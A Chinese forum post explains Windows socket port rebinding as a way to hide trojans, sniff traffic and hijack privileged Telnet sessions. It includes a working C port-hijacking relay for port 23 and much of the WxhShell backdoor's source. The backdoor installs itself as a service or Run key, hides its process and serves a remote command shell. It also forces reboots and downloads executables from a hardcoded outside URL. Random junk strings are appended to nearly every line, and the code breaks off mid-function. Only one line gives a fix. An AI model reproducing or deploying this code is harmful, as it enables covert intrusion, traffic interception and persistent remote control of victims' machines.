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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mn'A9er  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,Y@Gyx!4  
K$z2YJ%  
  saddr.sin_family = AF_INET; 3RUy, s  
JB\UKZXw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !@5 9)  
QDZWX`qw{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RV1coC.g4x  
k<z )WNBf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t"sBPLU\  
0RzEY!9g+  
  这意味着什么?意味着可以进行如下的攻击: ~ \r*  
gZVc 5u<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MnmVl"(/  
"BAK !N$9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "mo?* a$Sk  
_OYasJUMG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \-E^lIVF  
-$\y_?}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q(G#W+r  
)Dm s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )',R[|<  
/>C^WQI^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zE*li`@  
"2!&5s,1p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `Uq#W+r,  
e b"VE%+Hu  
  #include &{5,:%PXw  
  #include ]dVGUG8  
  #include Y!xF ;a  
  #include    _r#Z}HK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !6 #X>S14  
  int main() XE RUo  
  { u$z`   
  WORD wVersionRequested; 'B$yo]  
  DWORD ret; A.F%Ycq  
  WSADATA wsaData; Lpkyoh v  
  BOOL val; P.se'z)E  
  SOCKADDR_IN saddr; i%iL[id:w  
  SOCKADDR_IN scaddr; 2F;y;l%  
  int err; F-QzrquS  
  SOCKET s; MBK^FR-K  
  SOCKET sc; 2g `o  
  int caddsize; Ha#= (9.  
  HANDLE mt; c?Y*Y   
  DWORD tid;   2YL?,uLS  
  wVersionRequested = MAKEWORD( 2, 2 ); 3ZuZ/=  
  err = WSAStartup( wVersionRequested, &wsaData ); @3i\%R)n;  
  if ( err != 0 ) { _oL?*ks  
  printf("error!WSAStartup failed!\n"); d7^}tM  
  return -1; r wL`Czs  
  } zC:ASt  
  saddr.sin_family = AF_INET; ^S<Y>Nm]  
   NSMyliM1Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @)+AaC#-  
&A/]pi-\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uh_RGM&  
  saddr.sin_port = htons(23); nbp=PzZy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2ACCh4(/P  
  { ~%F9%=  
  printf("error!socket failed!\n"); >h1}~jW+  
  return -1; o#)C^xlQ  
  } wo}H'Q}Hj  
  val = TRUE; g9pZ\$J&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B4/>H|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0 JS?;fk  
  { Rh2+=N<X  
  printf("error!setsockopt failed!\n"); ^#-l q)  
  return -1; tIi&;tw]  
  } fb7;|LF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iU918!!N   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +QavYqPF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eIF5ZPSZi  
KkyVSoD\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5ta `%R_  
  { ,pfG  
  ret=GetLastError(); P8 c`fbkX2  
  printf("error!bind failed!\n"); NYUL:Tp  
  return -1; g/_5unI}u  
  } BVQqY$>  
  listen(s,2); 2"Q|+-Io  
  while(1) :G=fl)!fE  
  { \7eUw,~Q>  
  caddsize = sizeof(scaddr); s[*rzoA  
  //接受连接请求 =J==i?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &B;~  
  if(sc!=INVALID_SOCKET) G>=*yqo  
  { 2s8a $3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %0?KMRr  
  if(mt==NULL) 3%|&I:tI  
  { b_krk\e@S  
  printf("Thread Creat Failed!\n"); B@))8.h]  
  break; gg/-k;@ Rf  
  } uMv,zO5  
  } c#]4awHU  
  CloseHandle(mt); Vt~{Gu-Y  
  } z6P$pqyF  
  closesocket(s); zI uJ-8T"  
  WSACleanup(); kH1~k,|\&K  
  return 0; D) P._?  
  }   S@tLCqV4  
  DWORD WINAPI ClientThread(LPVOID lpParam)  > |=ts  
  {  }v{LRRi  
  SOCKET ss = (SOCKET)lpParam; I@N8gn  
  SOCKET sc; I 34>X`[o  
  unsigned char buf[4096]; 6|=f$a  
  SOCKADDR_IN saddr; e%M;?0j  
  long num; Yh7t"=o  
  DWORD val; DCa^ u'f  
  DWORD ret; ]/6z; ~3U  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @ q3k%$4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4_lrg|X1  
  saddr.sin_family = AF_INET; 372rbY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XT*sGM  
  saddr.sin_port = htons(23); ~ Iuf}D;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6@!`]tSCK  
  { ^\% (,KNo  
  printf("error!socket failed!\n"); WU` rh^  
  return -1; gH vZVC[b  
  } n@i HFBb  
  val = 100; Zi i   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?V=ZIGj  
  { |df Pki{  
  ret = GetLastError(); :Yl-w-oe  
  return -1; _H%c;z+  
  } HC8e>kP9b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "S]TP$O D  
  { 3$R1ipb  
  ret = GetLastError(); reWot&;  
  return -1; cT,sh~-x,  
  } 4$<JHo @.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f}e`XA?  
  { SnfYT)Ph  
  printf("error!socket connect failed!\n"); Q%G8U#Tm  
  closesocket(sc); niyV8v  
  closesocket(ss); HV|,}Wks6s  
  return -1; F41=b4/  
  } (A#^l=su  
  while(1) a=2%4Wmz  
  { 4[e X e$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /x$nje,.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uXvtfc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bG#>uE J-  
  num = recv(ss,buf,4096,0); lo+A%\1  
  if(num>0) R m( "=(  
  send(sc,buf,num,0); bAMdI 5Zk?  
  else if(num==0) 3w'tH4C[Y  
  break; L8B! u9%  
  num = recv(sc,buf,4096,0); rILYI;'o  
  if(num>0) &u !,Hp  
  send(ss,buf,num,0); ]a`$LW}  
  else if(num==0) ?@86P|19  
  break; 0=YI@@n)  
  } [(lW^-  
  closesocket(ss); (LCfUI6;  
  closesocket(sc); WyiQoN'q  
  return 0 ; 9.#<b |g  
  } o]V^};B  
GbI/4<)l}  
Bzf^ivT3L  
========================================================== ]-# DB^EQ  
_[BP 0\dPW  
下边附上一个代码,,WXhSHELL tw@X> G1z  
9(Xn>G'iT  
========================================================== XiWmV  ?  
TWTb?HP  
#include "stdafx.h" h?U O&(  
R;LP:,)  
#include <stdio.h> $`8wJf9@w  
#include <string.h> DEgXQ[  
#include <windows.h> c:('W16  
#include <winsock2.h> HzsdHH(J  
#include <winsvc.h> ;'1d1\wiDQ  
#include <urlmon.h> .xkM.g4{~  
pxi3PY?  
#pragma comment (lib, "Ws2_32.lib") * T1_;4i  
#pragma comment (lib, "urlmon.lib") -{vD: Il=6  
MdF2Gk-9  
#define MAX_USER   100 // 最大客户端连接数 Fr-SvsNFB  
#define BUF_SOCK   200 // sock buffer 7yQ4*UB  
#define KEY_BUFF   255 // 输入 buffer i6Gu@( 8Q  
z$sGv19pB  
#define REBOOT     0   // 重启 DmcZta8n]  
#define SHUTDOWN   1   // 关机 xIn:ZKJ'  
Ny# ^&-K  
#define DEF_PORT   5000 // 监听端口 5h*p\cl!Y  
/9X7A;O  
#define REG_LEN     16   // 注册表键长度 ]M3yLYK/P  
#define SVC_LEN     80   // NT服务名长度 W+* V)tf  
,zc(t<|-y  
// 从dll定义API V]^$S"Tv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G~m<;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dRMx[7jVA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); []T8k9g/-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wIgS3K  
KPki}'GO  
// wxhshell配置信息 p ll)Y  
struct WSCFG { < %Y}R\s?  
  int ws_port;         // 监听端口 O.M 1@w]  
  char ws_passstr[REG_LEN]; // 口令 dr"1s-D4IQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no i#O SC5ZI  
  char ws_regname[REG_LEN]; // 注册表键名 UF|p';oom  
  char ws_svcname[REG_LEN]; // 服务名 1~gCtBRM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EM_d8o)`B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TA\vZGJ('  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ry]l.@o;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 18Emi<&A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nboaf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u? EN  
n"8Yv~v*2j  
}; SrJE_~i  
/kG_*>.Z  
// default Wxhshell configuration >mkFV@`  
struct WSCFG wscfg={DEF_PORT, 9M ]_nPY  
    "xuhuanlingzhe", =MWHJ'3-/  
    1, 8XaQAy%d]  
    "Wxhshell", ykJ>*z  
    "Wxhshell", O&&~NXI\  
            "WxhShell Service", 4e  
    "Wrsky Windows CmdShell Service", ig"L\ C"T  
    "Please Input Your Password: ", I 6O  
  1, tBSW|0  
  "http://www.wrsky.com/wxhshell.exe", SfR%s8c`  
  "Wxhshell.exe" ~G w*r\\+  
    }; ABkl%m6xf  
d5-qZ{W  
// 消息定义模块 [B3RfCV{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M\=2uKG#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k=^xVQuI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /Kbl%u  
char *msg_ws_ext="\n\rExit."; [hs ds\  
char *msg_ws_end="\n\rQuit."; $ Q0n  
char *msg_ws_boot="\n\rReboot..."; *ui</+  
char *msg_ws_poff="\n\rShutdown..."; 6C)_  
char *msg_ws_down="\n\rSave to "; >sbu<|]a 7  
AwN!;t_0+N  
char *msg_ws_err="\n\rErr!"; a{e4it  
char *msg_ws_ok="\n\rOK!"; ce(#2o&`  
pk~WrqK}  
char ExeFile[MAX_PATH]; E"0>yl)  
int nUser = 0; Ho%CDz z  
HANDLE handles[MAX_USER]; %)wjR/o  
int OsIsNt; v,t:+ !8  
<Gsu Z  
SERVICE_STATUS       serviceStatus; s`U J1eJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #;<Y[hR{P  
W9)&!&<o  
// 函数声明 F!do~Z  
int Install(void); ?# fQ~ s  
int Uninstall(void); bZ6+,J  
int DownloadFile(char *sURL, SOCKET wsh); 3a|\dav%  
int Boot(int flag);  3CJwj  
void HideProc(void); tVjsRnb{  
int GetOsVer(void); 54/=G(F   
int Wxhshell(SOCKET wsl); `{Ul!  
void TalkWithClient(void *cs); |g~ZfnP_%  
int CmdShell(SOCKET sock); Uz7<PLxd  
int StartFromService(void); *h|U,T7ew  
int StartWxhshell(LPSTR lpCmdLine); NO3/rJ6-  
#1[u (<AS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); He)%S]RLk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yw9GN2AG  
/E>e"tvss  
// 数据结构和表定义 u&NV,6Fj2[  
SERVICE_TABLE_ENTRY DispatchTable[] = n|;Im&,  
{  )*[3Vq  
{wscfg.ws_svcname, NTServiceMain}, M_8{]uo  
{NULL, NULL} .u:GjL'$  
}; 7 3m1  
:%.D78&  
// 自我安装 8_8l.!~  
int Install(void) #F#%`Rv1  
{ `9 L>*  
  char svExeFile[MAX_PATH]; KSvE~h[#+  
  HKEY key; Uv.)?YeGh  
  strcpy(svExeFile,ExeFile); 3Y &d=  
?EL zj  
// 如果是win9x系统,修改注册表设为自启动 G?ZXWu.  
if(!OsIsNt) { 6pzSp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /\Ef%@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qd-A.{[h  
  RegCloseKey(key); eJSxn1GW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +H.`MZ=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xmG<]WF>E  
  RegCloseKey(key); .h[:xYm  
  return 0; [~ fraK,)  
    } 9F vFhY  
  } :svq E+2  
} :t[_:3@  
else { `gJ(0#ac  
~zgGa:uU  
// 如果是NT以上系统,安装为系统服务 >V937  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rUl+  
if (schSCManager!=0) y(&Ac[foS}  
{ \lY_~*J  
  SC_HANDLE schService = CreateService C}X\|J  
  ( :Al!1BJQ  
  schSCManager, 7 &\yj9  
  wscfg.ws_svcname, !<oe=)Iz|  
  wscfg.ws_svcdisp, lk!@?  
  SERVICE_ALL_ACCESS, XG?8s &  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %C0Dw\A*:  
  SERVICE_AUTO_START, @c#(.=  
  SERVICE_ERROR_NORMAL, \GBuWY3B  
  svExeFile, LscGTs,  
  NULL, b' y%n   
  NULL, fOHxtHM  
  NULL, CAlCDfKW}  
  NULL, QWU[@2@%r  
  NULL i@q&5;%%  
  ); YQ} o?Q$z  
  if (schService!=0) Q/?$x*\>  
  { NRuNKl.v  
  CloseServiceHandle(schService); /}$+uBgJm  
  CloseServiceHandle(schSCManager); ~~.}ah/_d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ni<(K 0~  
  strcat(svExeFile,wscfg.ws_svcname); *i,%,O96Nz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *Ly6`HZ9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @CoIaUVP  
  RegCloseKey(key); yu|>t4#GT  
  return 0; N mG#   
    } e.%nRhSs3  
  } K}y f>'O  
  CloseServiceHandle(schSCManager); 0J|3kY-n>  
} l]vm=7:  
} pCDmXB  
jdN` mosJ  
return 1; ^q&x7Kv%  
} ;a/E42eN;  
B?QIN]  
// 自我卸载 Sdo-nt  
int Uninstall(void) R_KH"`q  
{ \['Cj*ek  
  HKEY key; VTM/hJmwJ  
n<,BmVQ  
if(!OsIsNt) { OI*H,Z "  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 zZlC#V  
  RegDeleteValue(key,wscfg.ws_regname); kstIgcI  
  RegCloseKey(key); ]'cs.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Z*!#}z`  
  RegDeleteValue(key,wscfg.ws_regname); }k0_5S  
  RegCloseKey(key); 1oS/`)  
  return 0; _t$sgz&  
  } {ax:RUQxy  
} HQ g^ h  
} \zY!qpX<  
else { x:;kSh  
7v kL1IA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bOB \--:]  
if (schSCManager!=0) r$1Qf}J3=  
{ ok[i<zl; '  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vd ZW%-A&\  
  if (schService!=0) w(/S?d  
  { M{@(G5  
  if(DeleteService(schService)!=0) { -"`=1l  
  CloseServiceHandle(schService); S!UaH>Rh  
  CloseServiceHandle(schSCManager); ^#$n~]s  
  return 0; %4H%?4  
  } ,hVli/  
  CloseServiceHandle(schService); d~H`CrQE*  
  } DF= *_,2/  
  CloseServiceHandle(schSCManager); >j/w@Fj  
} vt8By@]:  
} (e~Nq  
~a:  
return 1; qna8|3eP  
} \85i+q:LuA  
p'%s=TGwv  
// 从指定url下载文件 e= AKD#  
int DownloadFile(char *sURL, SOCKET wsh) ;`&kZi60Hz  
{ W4S,6(  
  HRESULT hr; A&VG~r$  
char seps[]= "/"; M  >u_4AY  
char *token; ! mHO$bQ"  
char *file; p2eGm-Erq  
char myURL[MAX_PATH]; Ew N}l  
char myFILE[MAX_PATH]; :> '+"M2r  
&8H'eAA  
strcpy(myURL,sURL); S'" Df5  
  token=strtok(myURL,seps); /x hKd]Q  
  while(token!=NULL) d6O[ @CyP  
  { oU8q o-J1H  
    file=token; lN@o2QX  
  token=strtok(NULL,seps); ^W ^OfY  
  } Y4-t7UlS;  
Ac@VGT:9  
GetCurrentDirectory(MAX_PATH,myFILE); occ7zcA  
strcat(myFILE, "\\"); P0@,fd<  
strcat(myFILE, file); #"!<W0  
  send(wsh,myFILE,strlen(myFILE),0); 8LKiS  
send(wsh,"...",3,0);  ];m_4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vr}'.\$  
  if(hr==S_OK) COlqcq'qAu  
return 0; [JiH\+XLPs  
else dd;~K&_Q/i  
return 1; )7F/O3Tq  
?}oFg#m-<L  
} 23PGq%R  
G{}VPcrbC  
// 系统电源模块 FPz9N@M%Q  
int Boot(int flag) vXs"Dst  
{ K?;DMUSY\  
  HANDLE hToken; #mdc[.  
  TOKEN_PRIVILEGES tkp; 0mE 0 j  
x5Bk/e'  
  if(OsIsNt) { ^8WRqQdx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }2jn[${ pr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e'~3oqSvR  
    tkp.PrivilegeCount = 1; E GU2fA7x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (PL UFT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $Sq:q0  
if(flag==REBOOT) { Nn6%9PX_)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KlEpzJ98  
  return 0; Jy)/%p~  
} ES[G  
else { ,tFg4k[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MgZ/(X E  
  return 0; rq{$,/6.  
} 9hl_|r~%*  
  } \bXa&Lq  
  else { pa+hL,w{6  
if(flag==REBOOT) { -"x$ZnHU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0GwR~Z}Z  
  return 0; ).O)p9  
} }e1ZbmW  
else { 0-gAyiKx?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "+c-pO`Wg  
  return 0; HS$r8`S?)  
} (3e 2c  
} Wwo0%<2y  
+`4A$#$+y  
return 1; A/(a`"mK|'  
} 9r9NxKuAO  
rv;3~'V  
// win9x进程隐藏模块 ~*7]r`6\@  
void HideProc(void) 'u658Tj  
{ y_,bu^+*  
*8q.YuZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4-w{BZuS  
  if ( hKernel != NULL ) lZ0 =;I  
  { `cO:<^%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gj*9~*xm(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <@}9Bid!o  
    FreeLibrary(hKernel); :UdF  
  }  _F{C\}  
zs;JJk^  
return; :k"]5>(^  
} k)u[0}   
;S{(]K7i  
// 获取操作系统版本 X&zis1A<  
int GetOsVer(void) :&Nbw  
{ P>L +t`'  
  OSVERSIONINFO winfo; 6~{C.No}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i4Jc.8^9$  
  GetVersionEx(&winfo); )0MB9RMk1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z#N@ 0R  
  return 1; ex|F|0k4}  
  else V)^+?B)T  
  return 0; 0V]s:S  
} -di o5a  
;jPXs  
// 客户端句柄模块  -M2yw  
int Wxhshell(SOCKET wsl) f::Dx1VcX  
{ Mtv?:q  
  SOCKET wsh; VpUAeWb  
  struct sockaddr_in client; \ jA~9  
  DWORD myID; 'S~5"6r  
O f#:  
  while(nUser<MAX_USER) |o @%dH  
{ +V+a4lU14  
  int nSize=sizeof(client); f)!Z~t &  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AS,%RN^.  
  if(wsh==INVALID_SOCKET) return 1; F?cK- .  
BHw, 4#F1;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]9X DS[<2`  
if(handles[nUser]==0) _U0f=m  
  closesocket(wsh); t Pf40`@  
else jal-9NV)!  
  nUser++; :LTN!jj  
  } 3F0 N^)@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .B yuN  
$"&JWT!#  
  return 0; Tr|JYLwF  
} : jx4{V  
@KA4N`  
// 关闭 socket H[UlY?&+  
void CloseIt(SOCKET wsh) ^&)|sP  
{ *dF>_F  
closesocket(wsh); `kr?j:g  
nUser--; sr}E+qf  
ExitThread(0); W`&hp6Jq  
} CJ%I51F`X  
qVPeB,kIz  
// 客户端请求句柄 4sM.C9W  
void TalkWithClient(void *cs) iOdpM{~*  
{ 5?L<N:;J_  
66 Tpi![  
  SOCKET wsh=(SOCKET)cs; L]Mo;kT<Q  
  char pwd[SVC_LEN]; [r-p]"R  
  char cmd[KEY_BUFF]; Hef g[$m  
char chr[1]; >f'g0g  
int i,j; }-fl$j?9E  
&[SC|=U'M  
  while (nUser < MAX_USER) { uGt-l4  
ZB&6<uw  
if(wscfg.ws_passstr) { T)}) pt!V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oE~Bq/p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i?~3*#IpD  
  //ZeroMemory(pwd,KEY_BUFF); "vGW2~*)  
      i=0; O~QB!<Q+  
  while(i<SVC_LEN) { cAc@n6[`3  
fX+O[j  
  // 设置超时 \4#W xZ  
  fd_set FdRead; Dxxm="FQZ  
  struct timeval TimeOut; Z)\@i=m  
  FD_ZERO(&FdRead); 7)k\{&+P  
  FD_SET(wsh,&FdRead); MS]r:X6  
  TimeOut.tv_sec=8; T#)P`q  
  TimeOut.tv_usec=0; _[y/Y\{I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jSAjcLR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JG,%qFlk  
qv"$Bd:]r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -]=@s  
  pwd=chr[0]; &M '*6A  
  if(chr[0]==0xd || chr[0]==0xa) { IMfqiH)  
  pwd=0; V!dtF,tH  
  break; )Beiu*  
  } ^KELKv,_  
  i++; ``Un&-Ms  
    } LrK,_)r:~  
N"1B/u  
  // 如果是非法用户,关闭 socket OC:T O|S:4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j w9b )  
} =>dGL|  
|a%Tp3Q~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); So 5N5,u@=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N&V`K0FU  
#!m.!? O  
while(1) { r)6M!_]AW  
{u9}bx'<  
  ZeroMemory(cmd,KEY_BUFF); ))i}7 chc  
fg{n(TE"8  
      // 自动支持客户端 telnet标准   k: ;WtBC6j  
  j=0; Y]5 l.SV  
  while(j<KEY_BUFF) { &yol_%C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~3S~\0&|  
  cmd[j]=chr[0]; $lu t[o74  
  if(chr[0]==0xa || chr[0]==0xd) { Jdp3nzM^^@  
  cmd[j]=0; 7`hP?a=  
  break; AnvRxb.e  
  } 2,P^n4~A?w  
  j++; ;xs"j-r/  
    } zZC9\V}R  
9RI-Lq`  
  // 下载文件 wg]LVW}  
  if(strstr(cmd,"http://")) { 9 5RBO4w%w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :$9tF >  
  if(DownloadFile(cmd,wsh)) M {Q;:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @k/NY *+  
  else ;{o|9x|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %-e 82J1  
  } `I5wV/%ib  
  else { #`X?=/q  
;l-!)0 U  
    switch(cmd[0]) { NS6:yX,/  
  Clb@$,  
  // 帮助 d6sye^P  
  case '?': { g^ i&gNDx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  y%b F&  
    break; td3D=Y  
  } Zdo'{ $  
  // 安装 9Ly]DZ;L  
  case 'i': { Bv%GJ*>>  
    if(Install()) }:*]aL<7_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f[^Aw(o  
    else SrK<fAkx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fCobzDy  
    break; x`IEU*z#  
    } %zw1}|s#z  
  // 卸载 :e%Pvk  
  case 'r': { zeC RK+-  
    if(Uninstall()) "djw>|,N<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @)&=%  
    else I[##2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ce3YCflt  
    break; cFnDmt I:  
    } =j*$ |X3W  
  // 显示 wxhshell 所在路径 E6gI,f/p0X  
  case 'p': { E5lBdM>2  
    char svExeFile[MAX_PATH]; \:ak ''  
    strcpy(svExeFile,"\n\r"); [ $n_6  
      strcat(svExeFile,ExeFile); i`$*T y"x  
        send(wsh,svExeFile,strlen(svExeFile),0); j578)!aJ  
    break; =k0_eX0  
    } 25[I=ZdS  
  // 重启 P8)=Kbd  
  case 'b': { vv+z'(l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0h\smqm  
    if(Boot(REBOOT)) dl@%`E48w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |! E)GahM  
    else { &&:Y Vd  
    closesocket(wsh); R1GEh&U{  
    ExitThread(0); 9g"2^^wD  
    } iv;Is[<o  
    break; |NC*7/}  
    } ;^%4Q"  
  // 关机 c%G{#}^2  
  case 'd': { %)I{%~u0  
